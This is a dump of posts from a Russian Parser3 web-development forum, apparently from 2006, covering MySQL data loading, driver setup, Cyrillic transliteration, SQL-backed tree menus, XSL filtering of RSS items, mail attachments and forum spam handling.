С другой стороны, если в какой-нибудь новой свецификации xslt будет возможность в <xsl:template match=\"\"> указать не только xpath-маску, а какой-нибудь pattern для строк, как это можно в других функциональных языках, ну или, допустим, regexp, то фича прогнать через xsl простой текст моему сердцу будет очень даже мила. Конечно, этот последний абзац несколько фантастичен, просто я тут недавно заботал colorer, тот что используется в FAR'е, отсюда такие вот размышления."
"53365","Всем привет!\
возникла проблема\
скачать полный архив сообщений форума, распаковал в папку full в корне сайта создал таблицы а при загрузке данных с помощью файла load.sql выдаёт ошибку:\
[code]\
#1064 - You have an error in your SQL syntax near 'forum_message\
FIELDS TERMINATED BY\
    ','\
ENCLOSED BY\
    '\"'\
LINES TERMINATED BY\
    '\\' at line 4 \
[/code]\
Как быть, что делать?"
"53366","Доработал исходники с учетом [url=\"http://www.parser.ru/forum/?id=52084\"]http://www.parser.ru/forum/?id=52084[/url] .\
Хотя, возможно, что-то и проглядел.\
Адрес прежний:\
[url=\"http://parser.proc.ru/\"]http://parser.proc.ru/[/url]\
Надеюсь, теперь все вопросы по системе пойдут туда.\
\
Иходники:\
http://parser.proc.ru/iso/2006-06-01-com.zip (1 Mb - c FCKEditor)\
http://parser.proc.ru/iso/2006-06-01-com_noeditor.zip (212 Kb - без FCKEditor)\
\
Из FCKEditor-a \"вырезал\" все лишнее. Из коннекторов оставил немного модифицированный коннектор sergei v.2."
"53367","Чтобы загрузить из произвольного места нужно юзать конструкцию \"LOAD DATA [b]LOCAL[/b] INFILE + полный путь\" вместо \"LOAD DATA INFILE\".\
Можно и LOAD DATA INFILE, но тогда дамп нужно класть в папку базы, что мягко говоря, того..."
"53368","Вот файл load.sql\
\
LOAD DATA LOCAL INFILE\
	'z:\\home\\test.ru\\www\\full\\forum_message_full.txt'\
INTO\
	forum_message\
FIELDS TERMINATED BY\
	','\
ENCLOSED BY\
	'\"'\
LINES TERMINATED BY\
	'\\n';\
\
\
LOAD DATA LOCAL INFILE\
	'z:\\home\\test.ru\\www\\full\\forum_message_body_full.txt'\
INTO\
	forum_message_body\
FIELDS TERMINATED BY\
	','\
ENCLOSED BY\
	'\"'\
LINES TERMINATED BY\
	'\\n';\
\
Пытаюсь выполнить запрос но не работает, таже самая ошибка..."
"53369","помогите. \
на локальном компе всё работает (под Денвером), выгрузил на фтп, и при каждом обращении к db выдает такое чудо. Хост-админ в парсере не шарит, а я не шарю в админинге серверов - объясните что не так у меня, и что надо сделать, что бы было \"так\"?\
\
всё делаю по урокам в мане. Идет такой запрос\
[code]^MAIN:dbconnect{\
	$servaki[^table::sql{SELECT id, proc, ram, hdd, bw, over, price, sale, coment FROM servaki}]\
}[/code]\
в корневом auto.p\
[code]@auto[]\
$connect_string[mysql://sudya:НЕ_СКАЖУ@localhost/sudya_db1?ClientCharset=windows-1251]\
\
@dbconnect[code]\
^connect[$connect_string]{$code}[/code]"
"53370","[code]LOAD DATA LOCAL INFILE\
	'путь'\
REPLACE\
INTO TABLE\
	таблица\
FIELDS\
	TERMINATED BY ','\
	ENCLOSED BY '\"'\
	ESCAPED BY '\\\\'\
LINES\
	TERMINATED BY '\\n'[/code]"
"53371","[code]Также можно задать таблицу SQL-драйверов:\
$SQL[\
$.drivers[^table::create{protocol driver client\
mysql   /full/disk/path/parser3mysql.dll   /full/disk/path/libmySQL.dll\
odbc /full/disk/path/parser3odbc.dll\
pgsql /full/disk/path/parser3pgsql.dll /full/disk/path/libpq.dll\
oracle /path/to/parser3oracle.dll   C:\\Oracle\\Ora81\\BIN\\oci.dll?PATH+=^;C:\\Oracle\\Ora81\\bin\
}]\
]\
[/code]\
[quote]\
В колонке client таблицы drivers допустимы параметры клиентской библиотеке, отделяемые знаком ? от имени файла библиотеки, в таком виде:\
имя1=значение1&имя2=значение2&…\
а также имя+=значение.\
Эти переменные будут занесены(=) или добавлены к имеющемуся значению(+=) в программное окружение (environment) перед инициализацией библиотеки. В частности, удобно добавить путь к Oracle библиотекам здесь, если этого не было сделано в системном программном окружении (system environment).\
[/quote]"
"53372","я понял что это надо прописать в \"Конфигурационный файл\"\
а где этот файл находится (физически) и как он именуется? и что такое \"filespec\" тут (не надо цитировать ман - я не понял, что там написано)\
[code]@conf[filespec][/code]\
\
вот такие мои дела..."
"53374","в той же дериктории находится [b]auto.p.dist[/b], [b]parser3.log[/b] и [b]parser3[/b]"
"53375","Попытался использовать твой запрос, но!\
вместо того чтобы вставить все данные из файла он либо ничего не вставляет либо вставляет первую строку...\
Может я чего неправильно делаю?"
"53376","про вот такое там ничего не написано :(\
под 114 строкой там (в файле)\
[code]$result(^env:REMOTE_ADDR.match[^^127\\.0\\.0\\.1$])[/code]"
"53377","но парсер правильно говорит что тут синтаксическая ошибка. обратитесь к документации, т.к. в задачу FAQ не входит её дублирование."
"53379","дело в том, что я ничего не писал (тогда) в конф.файл, я просто открыл тот пример, который поставляется с дистрибутивом (auto.p.dist). я понял к чему это (там накладывается маска на ИП, или что-то такое, что бы проверялось, кто смотрит эту страничку - пользователь или админ), я исправил, и сейчас мучаемся (я и админ) ищем откуда libparser3mysql.so (и прочие дрова) взять... ну по крайней мере он мне так говорит."
"53380","что именно положили в Денвер я не в курсе.\
но согласно [url=\"/docs/lang/stringlit.htm\"]документации[/url] в коде просто так вы не можете написать символ '$', т.к. это спец символ парсера."
"53381","а где можна скачать єту книженцию"
"53382","[url=\"http://sudya.geliohost.com/_test.htm\"]sudya.geliohost.com/_test.htm[/url] - пишет, что [color=\"#ff0000\"]Парсер-то надо ставить с поддержкой XML... Или не подключены XML библиотеки... Это вам не хухры-мухры... [/color]\
\
объясните пожалуйста, в чем может быть дело? (компилили парсер С поддержкой xml - это точно). На серваке ось FreeBSD 6.1\
\
быть может надо что-то в конф.файле править?"
"53383","а нет ли у кого готового механизма по трансформации кириллицы в латиницу? типа так:\
Ну где же вы, девчонки... >> nu_gde_zhe_vy_devchonki\
нужно для формирования ЧПУ."
"53384","для подключения xml ничего в конфиге править не надо. под \"не подключены\" имелось ввиду, что например на win32 парсер должен быть скомпилен соответствующий И рядом с ним должны быть распакованы xml библиотеки. на *nix никаких библиотек радом класть не надо. а про компиляцию парсера с xml на *nix ПАФ писал что теперь это делается одной коммандой.\
\
как именно компилить - я не подскажу, я их не компилю. ждите, может подскажут, хотя судя по тому, что вы сообшили о компиляции - вряд ли."
"53386","#$Id: auto.p.dist.in,v 1.12 2005/08/08 13:45:45 paf Exp $"
"53388","http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/bin/auto.p.dist.in?rev=1.12&content-type=text/vnd.viewcvs-markup\
\
[code]$result(^env:REMOTE_ADDR.match[^^127\\.0\\.0\\.1$])[/code]\
\
должно быть так:\
[code]$result(^env:REMOTE_ADDR.match[^^127\\.0\\.0\\.1^$])[/code]\
\
P.S. в разделе \"скачать\" файл правильный."
"53389","[code]<?php\
\
    function transliteration ($string, $as_text = false) {\
\
        //замена знаков\
        $string = str_replace (array('Ь', 'ь', 'Ъ', 'ъ'), '', $string);\
\
        $string_from_array = array ('ё',  'ж',  'ц',  'ч',  'ш',  'щ',   'ю',  'я', 'Ё',  'Ж',  'Ц',  'Ч',  'Ш',  'Щ',   'Ю',  'Я');\
        $string_to_array   = array ('yo', 'zh', 'ts', 'ch', 'sh', 'sch', 'yu', 'ya', 'Yo', 'Zh', 'Ts', 'Ch', 'Sh', 'Sch', 'Yu', 'Ya');\
\
        $string_from       = 'йцукенгзхфывапролдэсмитбЙЦУКЕНГЗХФЫВАПРОЛДЭСМИТБ';\
        $string_to         = 'jcukengzhfyvaproldesmitbJCUKENGZHFYVAPROLDESMITB';\
\
        $string            = str_replace ($string_from_array, $string_to_array, $string);\
        $string            = strtr ($string, $string_from, $string_to);\
\
        //корректное имя файла\
        if ($as_text == false) {\
\
            $string = strtolower(preg_replace ('/\\s+/', '_', $string));\
            $string = preg_replace ('/[^a-z0-9_\\-]/', '', $string);\
        }\
\
        return $string;\
\
    }\
\
    echo transliteration ('С новым годом!');\
\
?>[/code]"
"53390","[code]<?php\
\
    function fixcharacters ($string) {\
\
        $string = preg_replace ('/ё/i', 'е', $string);\
        $fixed = 'АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя';\
\
        for ($i=1040, $a=0; $i < 1104; $i++, $a++) {\
            $trans_array['code'][$a] = \"&#\" . $i . \";\";\
            $trans_array['char'][$a] = $fixed[$a];\
        }\
\
        $string = str_replace ($trans_array['char'], $trans_array['code'], $string);\
        return $string;\
    }\
\
    echo fixcharacters('дурдом ромашка АГСЛ');\
\
?>[/code]"
"53392","драйвер есть, это показывает страничка [url=\"http://sudya.geliohost.com/_test.html\"]_test.html[/url], а вот при непосредственном оращении к [i]/home/sudya/sudya.geliohost.com/cgi-bin/bin/lib/libparser3mysql.so\
[/i] - пишет вот такую [url=\"http://sudya.geliohost.com/admin/modules/servers/\"]ошибку[/url]\
\
- права на .so 755\
- бинарный\
- FreeBSD6.1\
\
помогите пожалуйста\
PS не предлагайте поискать по формуму. В поиске по запросу \"can't open the module\" посмотрел [b]ВСЁ[/b], ман весь перечитал... [color=\"#cccccc\"]помогите...[/color]"
"53393","[quote]Помог ключик --with-dynamic-stdcpp при конфигурировании парсера. Проблема, как оказалось, была именно в нем, а не в драйвере mysql. Теперь все заработало.[/quote]\
\
(где то было тут на форуме это)\
смайл :)"
"53395","Очень неудобно писать на Парсере без подсвечивая ключевых слов, к чему я очень привык. Нет ли у кого какого-нибудь редактора или какого-нибудь плагина к какому-нибудь редактору, чтобы ключевые слова подсвечивались?"
"53400","'z:\\home\\test.ru\\www\\full\\forum_message_full.txt' -> '/test.ru/www/full/forum_message_full.txt'"
"53403","Регистрация работает:\
http://parser.proc.ru/forum/users/\
\
Админка:\
http://parser.proc.ru/editsite/\
Но для входа в нее нужно зарегестрироваться и залогониться."
"53419","1. просьба не вступать в дискуссии со спамерами. игнорирование работает лучше. спамеров бывает два типа: первый написал и ушел, то что вы ответили - ему пофигу, вы только нервы свои тратите. вторые-же прутся когда с ними \"общаются\" (да, даже когда посылают сюда: http://lleo.aha.ru/na/ ). так что разумнее их просто игнорировать. придет модератор - грохнет спам, вы знаете, что он тут обычно долго не висит.\
\
2. внедрять какие-либо системы нет времени. если кто пришлет код, который на вход получает тексты, а возвращает флаг - прикручу подобную защиту. но мне кажется эффективнее дать нескольким посетителям модераторские права.\
\
2 Sanya: ни фига не понял что такое rel=\"nofollow\""
"53420","Google, Yahoo и MSN не учитывают при подсчёте PageRank страниц ссылки на них с атрибутом nofollow:\
\
То есть если написать [i]<a href=\"http://www.example.com/\" rel=\"nofollow\">cheap Viagra!!!</a>[/i],  то позиций www.example.com это не улучшит."
"53426","http://googleblog.blogspot.com/2005/01/preventing-comment-spam.html"
"53427","[url=\"http://www.google.ru/search?hs=wQ8&hl=ru&client=firefox-a&rls=org.mozilla%3Aru%3Aofficial&q=http%3A%2F%2F+site%3Aparser.ru%2Fforum%2F&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&lr=\"]вот вам опровержение[/url]"
"53428","Еще бы - нету такого поля у такого класса :)"
"53430","http://www.spearance.ru/parser3/pictures/source/"
"53435","А вот вырастет ли ранг страницы от публикации ссылки?.."
"53436","Уважаемые,\
\
возникла необходимость при загрузке видео файла на сервер выдрать из него изображение, какой консольной программкой это можно сделать?"
"53437","Тут не в ругне дело, а в том, что люди лезут в чужой монастырь и пытаются под видом благого намерения протолкнуть свои алчнеы поделия основанные на ПЫХ-ПЫХ-Бе-Бе. Честно - только мое хорошее настроение спасло этот форум от моего желания \"почерношапочнить\" (благо багтреки ломятся от найденных в пых-пых-бе-бе уязвимостей) и вывесить надпись в виде общественного признания этого рекламного агентства в том что оно обманывает клиентов.\
\
Я не люблю ругаться - тольку от этого ноль. Одни нервы. Предлагаю все-таки Михаилу задуматься над предложением Sanja v.2 по поводу накопления отрицательных баллов у сообщения на форуме. Ах. Да. Миша сказал что времени нет - тогда надо будет самому что-то придумать и предложить."
"53440","Кто нибудь использовал?\
Если да поделитеся парсеровскими наработками , очень прошу"
"53441","http://www.artlebedev.ru/tools/typograf/webservice/TypografWebServiceClient11_parser.zip"
"53442","Нет, меня интересует серверная часть! Писал ли кто серверную часть сия артефакта (тобишь SOAP)! Если писали то поделитесь опытом!"
"53443","Хочу построить простенькое дерево, но прлучаю странные результаты:\
\
База данных:\
[code]\
id	label	parent\
1	Заголовок 1	0\
4	Заголовок 1.1	1\
7	Заголовок 1.1.1	4\
5	Заголовок 1.2	1\
6	Заголовок 1.3	1\
8	Заголовок 1.3.1	6\
2	Заголовок 2	0\
9	Заголовок 2.1	2\
10	Заголовок 2.2	2\
3	Заголовок 3	0\
[/code]\
\
Написал воттакой простой код:\
\
[code]\
@page_tree[]\
^MAIN:pSQL.server{\
$main_page_list[^MAIN:pSQL.table{\
         SELECT\
               id,\
               label,\
               parent,\
               link\
         FROM\
               p_page\
         WHERE parent='0'\
\
        ORDER BY page_rt ASC\
}]\
        $i(1)\
        ^main_page_list.menu{\
        <div>\
        <b>$main_page_list.label</b> [$i]</div>\
	^page_list[$main_page_list.id]\
        $i(1)\
        }}\
\
@page_list[var]\
^MAIN:pSQL.server{\
	$page_list[^MAIN:pSQL.table{\
         SELECT\
               id,\
               label,\
               parent,\
               link\
         FROM\
               p_page\
         WHERE parent='$var'\
         ORDER BY page_rt ASC\
}]}\
^page_list.menu{\
	<div style=\"padding-left:^eval(5*$i)px\">$page_list.label [$i]</div>\
		^i.inc[]\
		^page_list[$page_list.id]\
			}\
[/code]\
\
Но в место:\
\
[code]\
Заголовок 1\
	Заголовок 1.1\
		Заголовок 1.1.1\
	Заголовок 1.2\
	Заголовок 1.3\
		Заголовок 1.3.1\
Заголовок 2\
	Заголовок 2.1\
	Заголовок 2.2\
Заголовок 3\
\
Получаю:\
Заголовок 1 [1]\
	Заголовок 1.1 [1]\
		Заголовок 1.1.1 [2]\
		[3]\
		[4]\
Заголовок 2 [1]\
	Заголовок 2.1 [1]\
	[2]\
Заголовок 3 [1]\
[/code]\
\
Почему после Заголовок 1.1.1 нумерация сбивается ? Объясните ! \
"
"53444","... про локальные переменные и, что самое важное, в примерах про [url=http://www.parser.ru/examples/trees/]простроение деревьев[/url]. И уже точно достаточно одного запроса к БД."
"53445","[code]\
@table_tree[]\
\
^MAIN:pSQL.server{\
$parent[^MAIN:pSQL.table{\
         SELECT\
               id,\
               label,\
               parent,\
               link\
         FROM\
               p_page\
         WHERE parent='0'\
\
        ORDER BY page_rt ASC\
}]\
$child[^MAIN:pSQL.table{\
         SELECT\
               id,\
               label,\
               parent,\
               link\
         FROM\
               p_page\
         WHERE parent!='0'\
\
        ORDER BY page_rt ASC\
        }]}\
\
^parent.menu{\
	$parent.label<br>\
	$this_child[^child.select($child.parent==$parent.id)]\
	^this_child.menu{\
		$this_child.label\
		}[<br>]\
	}[<br>]\
[/code]\
\
Бесполезно никак не пойму в чём дело..."
"53447","Я ни понимаю как это сделать там слишком сложный пример в нём нереально разобраться. Нужно пример по проще."
"53449","http://www.artlebedev.ru/tools/technogrette/html/treeview/"
"53450","В новой версии:\
- Исправлена ошибка в настройке Perl, из-за которой иногда не работал PPM \
- Apache обновлён до последней версии 1.3.36 \
- Добавлен модуль Apache mod_fastcgi \
\
т.е. если вы ни разу не сталкивались с проблемами с Perl package manager, обновляться нет нужды.\
\
[url=\"http://swissknife.bougakov.com/?comefrom=parser_ru_forum\"]Файлики, как обычно, на sourceforge.net[/url]"
"53451","Скажите, а кто-нибудь сталкивался с такой проблемой, что gmail не может расчшифровать аттачменты в письме, отправленном парсеровским скриптом? У меня, такое впечатление, что парсер не виноват, а gmail просто не понимает, что такое uuencode.\
\
То есть в письме, которое я получаю, аттачмент выглядит примерно так:\
\
content-type: image/jpeg; name=\"nu.jpg\"\
content-disposition: attachment; filename=\"nu.jpg\"\
content-transfer-encoding: x-uuencode\
\
begin 644 nu.jpg\
...\
end\
\
А если сохранить его на диск из гмейла, то получается файл с таким содержимым:\
\
begin 644 nu.jpg\
...\
end\
\
Какая-то дикость."
"53452","Это  только html представление...\
\
А поповоду вопроса черех hash of hash древовидная структура строиться очень даже неплохо."
"53453","[code]$treeHash[hash::sql{\
	SELECT parent_id, id \
	FROM database \
	WHERE parent_id IN (SELECT parent_id FROM database)\
}][/code]\
\
И потом выбирать из хэша нужные значения по веткам\
\
Только-что в голово пришло, сам не проверял. Сам сомневаюсь что правильно. Может кто-то поправит если неправ?"
"53454","1. не у всех SQL серверов есть подзапросы\
2. ошибка в парсерном синтаксисе (must be ^hash...)\
3. в чем прикол подзапроса я не понял. все равно выбирутся _все записи_\
4. достаем hash, значит теряем последовательность элементов"
"53455","1. Ну подзапрос можно заменить несложным кодом\
2. Ошибка, блин =(\
3. Так вытаскиваются все данные в одном хэше, а потом можно по нему группировать\
4. А последовательность элементов можно вычислить отдельным запросом по результатам которого уже работать с хэшем.\
\
Метод не претендует на объективность, просто была подобная реализация интересна."
"53458","Ведь хэш целиком может сохранить в себе древовидную структуру, можно ли как-то положить туда все данные?"
"53461","Просто сама структура хэша так и подмывает все дерево положить в него и вывести =)\
\
Я просто самим деревом редко пользуюсь"
"53464","[code]\
function tovolapuk(src) {\
\
 var lvol = new Array();\
 var uvol = new Array();\
 var lrus = new String(\"абвгдеёжзийклмнопрстуфхцчшщъыьэюя\");\
 var urus = new String(\"АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ\");\
 var res = new String('');\
     lvol[0]='a';               uvol[0]='A';\
     lvol[1]='b';               uvol[1]='B';\
     lvol[2]='v';               uvol[2]='V';\
     lvol[3]='g';               uvol[3]='G';\
     lvol[4]='d';               uvol[4]='D';\
     lvol[5]='e';               uvol[5]='E';\
     lvol[6]='e';               uvol[6]='E';\
     lvol[7]='zh';              uvol[7]='Zh';\
     lvol[8]='z';               uvol[8]='Z';\
     lvol[9]='i';               uvol[9]='I';\
     lvol[10]='i';              uvol[10]='I';\
     lvol[11]='k';              uvol[11]='K';\
     lvol[12]='l';              uvol[12]='L';\
     lvol[13]='m';              uvol[13]='M';\
     lvol[14]='n';              uvol[14]='N';\
     lvol[15]='o';              uvol[15]='O';\
     lvol[16]='p';              uvol[16]='P';\
     lvol[17]='r';              uvol[17]='R';\
     lvol[18]='s';              uvol[18]='S';\
     lvol[19]='t';              uvol[19]='T';\
     lvol[20]='u';              uvol[20]='U';\
     lvol[21]='f';              uvol[21]='F';\
     lvol[22]='kh';             uvol[22]='Kh';\
     lvol[23]='ts';             uvol[23]='Ts';\
     lvol[24]='ch';             uvol[24]='Ch';\
     lvol[25]='sh';             uvol[25]='Sh';\
     lvol[26]='shch';           uvol[26]='Shch';\
     lvol[27]='\"';              uvol[27]='\"';\
     lvol[28]='y';              uvol[28]='Y';\
     lvol[29]=\"'\";              uvol[29]=\"'\";\
     lvol[30]='e';              uvol[30]='E';\
     lvol[31]='iu';             uvol[31]='Iu';\
     lvol[32]='ia';             uvol[32]='Ia';\
     for (var i=0;i<src.length;i++) {\
       if (lrus.indexOf(src.charAt(i))>=0) {\
res += lvol[lrus.indexOf(src.charAt(i))];\
       } else if (urus.indexOf(src.charAt(i))>=0) {\
res += uvol[urus.indexOf(src.charAt(i))];\
       } else {\
res += src.charAt(i);\
       }\
     }\
     return res;\
\
}[/code]"
"53465","[code]\
@sort_ua[t;col_name][hUKR_abc]\
$hUKR_abc[^hash::create[ $._default(0) $.А(1) $.Б(2) $.В(3) $.Г(4) $.Ґ(5) $.Д(6) $.Е(7) $.Є(8) $.Ж(9) $.З(10) $.И(11) $.І(12) $.Ї(13) $.Й(14) $.К(15) $.Л(16) $.М(17) $.Н(18) $.О(19) $.П(20) $.Р(21) $.С(22) $.Т(23) $.У(24) $.Ф(25) $.Х(26) $.Ц(27) $.Ч(28) $.Ш(29) $.Щ(30) $.Ь(31) $.Ю(32) $.Я(33) ]]\
^t.sort($hUKR_abc.[^t.[$col_name].mid(0;1)])\
$result[$t]\
[/code]\
\
Недостаток: Метод сортирует только по первым буквам"
"53467","[url=http://www.parser.ru/docs/lang/?filebase64m.htm]Кодирование в Base64[/url]"
"53470","Здравствуйте. Уже больше года как заменил PHP на парсер, привык, а сейчас пришел заказ сделать сайт с PHP. Приходится с трудом вспоминать этот язык.\
Очень сильно нужно вот что: делаю выборку из БД. На парсере всегда пользовался тем, что грузил результаты выборки из БД в таблицу. А в PHP совершенно неудобно пользоваться mysql_result'ами, или mysql_fetch_array для каждой строки.\
Суть всей этой басни сводится к следующему: подскажите, есть в PHP что-то вроде той же таблицы (двумерного массива) и функции, которая выгружает результать выборки из MySQL в этот двумерный массив?"
"53471","Да, действительно, я проглядел, что в парсер уже добавлена поддержка base64. Но по-прежнему не пониманаю, как ее прикрутить к почте.\
\
Конструкция вроде [code]^mail::send[ ... $.file[^myfile.base64[]][/code], конечно, не работает. Как же быть? Неужели \"руками\" формировать тело письма с аттачментом?"
"53472","Разбираю RSS-канал с новостями, там много блоков с информацией.\
Но мне нужно брать только первые 5.\
Подскажите пожалуйста, как в XSL прописать условие отбора.\
Вот XML источник:\
[code]\
- <item>\
  <title>Затулину запрещено въезжать в Украину</title> \
  <link>http://news.yandex.ru/yandsearch?cl4url=ntn.tv/ru/news/world/06/06/051415.html&country=Ukraine</link> \
  <description>Вместе с тем из Москвы депортирован внештатный советник МИД Украины, заместитель главы партии \"ПОРА\" Сергей Евтушенко.<br>Он прибыл в аэропорт \"Шереметьево\" сегодня утром, но российские пограничники назвали его приезд в Белокаменную нежелательным.<br></description> \
  <pubDate>Mon, 05 Jun 2006 15:21:43 +0400</pubDate> \
  <guid>http://news.yandex.ru/yandsearch?cl4url=ntn.tv/ru/news/world/06/06/051415.html&country=Ukraine</guid> \
  </item>\
- <item>\
  <title>Ющенко уехал от коалиции за границу?</title> \
  <link>http://news.yandex.ru/yandsearch?cl4url=glavred.info/archive/2006/06/05/131424%2D18.html&country=Ukraine</link> \
  <description>Такое мнение высказал \"Главреду\" первый секретарь Политсовета Социалистической партии Украины, участник переговорной группы от СПУ Иосиф Винский.<br>\"Социалисты не выступали с какими кадровыми предложениями, поскольку до них в переговорном процессе просто не дошли.<br></description> \
  <pubDate>Mon, 05 Jun 2006 14:20:23 +0400</pubDate> \
  <guid>http://news.yandex.ru/yandsearch?cl4url=glavred.info/archive/2006/06/05/131424%2D18.html&country=Ukraine</guid> \
  </item>\
.\
.\
.\
- <item>\
  <title>В Киевском зоопарке львица загрызла мужчину</title> \
  <link>http://news.yandex.ru/yandsearch?cl4url=5tv.com.ua/rus/newsline/184/0/26441/&country=Ukraine</link> \
  <description>45-летний уроженец Азербайджана спустился на веревке к вольеру с хищниками и начал их дразнить.<br>Обозленная львица схватила сорвиголову за горло.<br></description> \
  <pubDate>Mon, 05 Jun 2006 16:32:24 +0400</pubDate> \
  <guid>http://news.yandex.ru/yandsearch?cl4url=5tv.com.ua/rus/newsline/184/0/26441/&country=Ukraine</guid> \
  </item>\
- <item>\
[/code]\
А это XSL-файл, который выбирает только заголовки и линки на сами новости.\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
\
<xsl:template match=\"channel\">\
    <html>\
        <head>\
		<title><xsl:value-of select=\"title\" /></title>\
		</head>\
        <body>\
		<xsl:apply-templates select=\"item\" />\
		</body>\
    </html>\
</xsl:template>\
\
<xsl:template match=\"item\">\
<a href=\"{guid}\"><xsl:value-of select=\"title\" /></a><br />\
</xsl:template>\
\
\
</xsl:stylesheet>\
[/code]\
\
Спасибо."
"53473","2PAF: даешь $.encode[uuencode|base64]? :)"
"53475","[code]<xsl:apply-templates select=\"item[position() &lt;= 5]\" />[/code]"
"53476","Я пользуюсь этим XSL шаблоном:\
\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>  \
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\"> \
<xsl:template match=\"article\"> \
        <ul style=\"color: red; list-style-type: square\"><xsl:apply-templates select=\"body | para\" /></ul>\
</xsl:template> \
<xsl:template match=\"body\"> \
    <xsl:apply-templates select=\"para[1]\" />\
    <xsl:apply-templates select=\"para[2]\" />\
    <xsl:apply-templates select=\"para[3]\" />\
    <xsl:apply-templates select=\"para[4]\" />\
    <xsl:apply-templates select=\"para[5]\" />\
</xsl:template> \
<xsl:template match=\"para\"> \
    <li><span class=\"li\"><xsl:value-of select=\".\" /></span></li> \
</xsl:template> \
</xsl:stylesheet>\
[/code]"
"53477","Действительно, все гениальное просто.\
Правда я докумекал немного по другому, но тоже работает.\
[code]\
<xsl:template match=\"item\">\
	<xsl:if test=\"(position() &lt; 6)\">\
    <font class=\"text\"><xsl:number/>. </font>\
<a href=\"{guid}\"><xsl:value-of select=\"title\" /></a><br /></xsl:if>\
</xsl:template>\
[/code]\
Заодно и нумерую строки."
"53478","Это можно упростить:\
[code]<xsl:template match=\"item[position() &lt; 6]\">[/code]"
"53480","[code]\
^mail:send[\
	$.from[Admin <mail@mail.com>]\
	$.to[Admin <mail@mail.com>]\
	$.subject[whatever]\
	$.errors-to[Admin <mail@mail.com>]\
	$.Content-Type[multipart/related^; boundary=\"something\"^; type=text/html]\
	$.html{\
		\
		This is a multi-part message in MIME format.\
	\
		^#0D\
		--something\
		Content-Transfer-Encoding: 8bit\
		Content-Type: text/html; charset=\"utf-8\"\
\
		^#0D\
		\
		<img src=\"cid:filename.png\">\
		<p>This is how it has been working for a while</p>\
\
		^#0D\
		--something\
		Content-Transfer-Encoding: base64\
		Content-Type: image/png; name=\"filename.png\"\
		Content-Location: filename.png\
		Content-ID: <filename.png>\
		^#0D\
		$image[^file::load[binary;/path/to/your/image/filename.png]]\
		^image.base64[]\
	}\
]\
[/code]"
"53481","Вместо них - 404'я страница."
"53482","[url=\"http://local.joelonsoftware.com/mediawiki/index.php/%D0%9A%D0%B0%D0%BA_%D0%B7%D0%B0%D1%81%D1%82%D0%B0%D0%B2%D0%B8%D1%82%D1%8C_%D0%BD%D0%B5%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9_%D0%BA%D0%BE%D0%B4_%D0%B2%D1%8B%D0%B3%D0%BB%D1%8F%D0%B4%D0%B5%D1%82%D1%8C_%D0%BD%D0%B5%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D0%BB%D1%8C%D0%BD%D0%BE\"]Как заставить неправильный код выглядеть неправильно[/url]\
\
Ссылки в статье, имхо, тоже очень интересные и полезные."
"53483","P.S. не представляю как они поломались... ничего относящегося к ним я вроде не трогал. Завтра найду и поправлю."
"53484","Тогда уж может '/home/test.ru/www/full/forum_message_full.txt'?"
"53492","Или рэндомом из более-менее старых?\
просто интересно"
"53493","рассматривались личности:\
- понимающие суть происходящего в данном форуме (обладающие знаниями в предметных областях + понимающию местную политику, что вопрошающему нужно подсказать, а не сделать за него)\
- присутствующие тут достаточно долго и систематически\
- адекватно реагирующие на провокации\
\
ну а далее письмо с предложением ( хоть-бы один отказался! :) )"
"53494","$firms = mysql_query(\"SELECT id, section FROM sections\");\
while ($firm = mysql_fetch_assoc($firms)){\
echo \"ID записи $firm[id]\";\
}\
Это?"
"53498","P.S. и вообще, чего все до до этой даты докопались?"
"53499","Пример на парсере:\
[code]\
^connect[$MAIN:dbconnect]{$list[^table::sql{SELECT id, name, value FROM table}]}\
^list.menu{\
$list.id - $list.name - $list.value\
}\
[/code]\
А как такой вариант сделать на PHP?\
Можно, конечно, сделать так:\
[code]\
$query = \"SELECT id FROM table\";\
$result = mysql_result($query);\
$j = mysql_num_rows($result);\
for($i=0;$i<$j;$i++){\
 $query_info = \"SELECT name, value FROM table WHERE id = \".mysql_result($result,$i,'id');\
 $result_info = mysql_result($query_info);\
 $info = mysql_fetch_array($result_info);\
 print mysql_result($result,$i,'id').\" - {$info['name'] - $info['value']}\";\
}\
[/code]\
\
Но мне бы это упростить как-нибудь."
"53500","О боже)))\
\
$result = mysql_query(\"SELECT id, name, value FROM table\");\
while ($list = mysql_fetch_assoc($result)){\
echo \"$list[id] - $list[name] - $list[value]<br>\";\
}"
"53502","У меня в голове была такая мысль, но не успела дойти. Спасибо.\
\
Но есть еще такая особенность у table - сортировать таблицу по нужному полю и тогда, когда нужно, не прибегая в ORDER BY ... в запросе SQL.\
Как быть в таком случае?"
"53504","http://en.wikipedia.org/wiki/Hexakosioihexekontahexaphobia"
"53505","спасибо, попробую!\
\
хоть и не понимаю, честно говоря, почему с появлением в парсере base64 это не сделано стандартной возможностью mail:send."
"53508","угу... знаю я все это... удивляет меня что чуть ли не больше всего со всем этим, как с писаной, торбой носятся люди, знающие свой \"Cultural background\" по сплетням.\
\
P.S. по какому говорите каледнарю считать надо? :) а в какой таймзоне? :)))"
"53509","в бухгалтерии цирковое представление :)\
я сам на всякие даты в жизни не велся - а тетки со святой водой и иконками устроили крестный ход по предприятию :)\
я просто ржал. как конь \"испатстала\". А они меня еще спросили чего я не боюсь \"сатанинского знамения\". просто круто. вот и добавил что день такой.\
\
З.Ы.\
Теперь буду камеру готовить ко всем похожим дечствам. Это надо в паблик акцесс выкладывать чтоб людям позитивные эмоции приносить."
"53512","Прайс в виде таблицы [url=\"http://advancedhosters.com/en/virtual_hosting/packages.html\"]http://advancedhosters.com/en/virtual_hosting/packages.html[/url]\
\
подскажите пожалуйста, с помощью чего (см. нач. заголовка) лучше реализовать такое на Парсер'e (с условием, что надо будет дать возможность редактировать табличку с админки)?\
\
